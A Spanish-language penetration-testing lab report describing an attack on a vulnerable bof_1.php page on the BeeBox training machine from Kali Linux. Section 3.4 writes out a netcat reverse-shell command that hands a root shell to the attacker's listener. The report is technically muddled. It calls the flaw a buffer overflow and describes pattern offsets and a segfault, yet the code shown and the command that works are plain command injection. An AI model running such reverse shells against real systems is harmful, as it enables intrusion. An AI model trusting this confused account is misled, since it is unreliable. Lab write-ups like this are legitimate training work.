Reporte: Explotación de Vulnerabilidad de Buffer Overflow

Autor: Miguel Ángel Gil Cardona
Fecha: 29 de noviembre de 2024
Entorno:

- **Máquina Atacante:** Kali Linux
- **Máquina Vulnerable:** BeeBox

---

1. Introducción

Este ejercicio tiene como objetivo identificar y explotar una vulnerabilidad de **buffer overflow** en la aplicación vulnerable `bof_1.php`, hospedada en BeeBox. El ataque busca demostrar cómo un atacante puede aprovechar un desbordamiento de buffer para obtener acceso no autorizado al sistema vulnerable. La explotación se realizó en un entorno controlado con el propósito de mejorar las habilidades de pentesting.

---

2. Metodología y Enfoque

La metodología siguió estas fases:

1. Reconocimiento y análisis del entorno.
2. Identificación de vulnerabilidades.
3. Generación de un exploit para el desbordamiento de buffer.
4. Explotación del sistema para obtener acceso remoto.

Diferentes herramientas y técnicas fueron utilizadas, incluyendo:

- ping para verificar conectividad.
- pattern_create.rb para generar una cadena de prueba.
- netcat para establecer una conexión remota.
- Análisis manual del archivo vulnerable.

---

3. Resultados y Fases del Pentesting

3.1. Reconocimiento y Configuración del Entorno

Se ejecutó el comando `ping` para verificar la conectividad entre las máquinas atacantes y vulnerables. Como resultado, se confirmó que ambas estaban conectadas correctamente en la misma red. La respuesta al comando mostró paquetes ICMP recibidos desde BeeBox.

3.2. Análisis del Código Vulnerable

Se examinó el archivo `bof_1.php` en el servidor BeeBox. El análisis reveló que el parámetro `movie` se pasa directamente como argumento de línea de comandos sin validación de tamaño, lo que lo hace vulnerable a un desbordamiento de buffer.

Código analizado:

php
Copiar código

```php
<?php
  $movie = $_GET['movie'];
  system("echo " . $movie);
?>
```

3.3. Generación de un Exploit

1. Se generó una cadena de prueba para identificar la vulnerabilidad mediante la herramienta `pattern_create.rb`. El resultado fue una cadena con patrones únicos de 360 caracteres:
   Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5...
2. Esta cadena se transfirió desde la máquina atacante (Kali Linux) a BeeBox mediante un servidor HTTP simple y la herramienta `wget`.
3. Finalmente, se identificó el offset del desbordamiento de buffer con la herramienta `pattern_offset.rb`, que devolvió el valor exacto de 268.

3.4. Ejecución del Exploit

Se inyectó la cadena generada en el campo vulnerable del archivo `bof_1.php`. Al hacerlo, la aplicación respondió con un mensaje de error de segmentación:
"Segmentation fault (core dumped)."

Con el offset identificado, se reemplazó el patrón de prueba con un payload para ejecutar código arbitrario y se configuró un listener en la máquina atacante utilizando netcat.

En BeeBox, se ejecutó un comando que forzó la conexión remota a Kali:
`$(nc -e /bin/bash 192.168.1.5 4444)`

El listener en Kali capturó exitosamente la conexión remota, permitiendo acceso a un shell con privilegios de superusuario en BeeBox:
"root@beebox:/#"

3.5. Análisis de Logs del Servidor

Se revisaron los registros del servidor Apache en BeeBox para buscar evidencias del ataque. Los logs mostraron un error relacionado con el desbordamiento:
"Segmentation fault (core dumped)."

---

4. Vulnerabilidades Detectadas

- Falta de validación en los parámetros de entrada.
- Código vulnerable al desbordamiento de buffer.
- Configuración del sistema sin restricciones para conexiones salientes.

---

5. Propuesta de Prevención

- Implementar validación de tamaño en los parámetros de entrada.
- Actualizar el servidor Apache y PHP a versiones más seguras.
- Configurar un firewall que limite conexiones remotas no autorizadas.

---

6. Impacto Potencial

Un ataque exitoso podría permitir a un atacante:

- Modificar o eliminar datos en el sistema.
- Ejecutar código arbitrario con privilegios de administrador.
- Comprometer otros sistemas en la red.

---

7. Conclusión

Este ejercicio demuestra la importancia de validar correctamente los datos de entrada para prevenir vulnerabilidades de buffer overflow. Además, destaca la necesidad de implementar medidas proactivas para proteger los sistemas contra este tipo de ataques.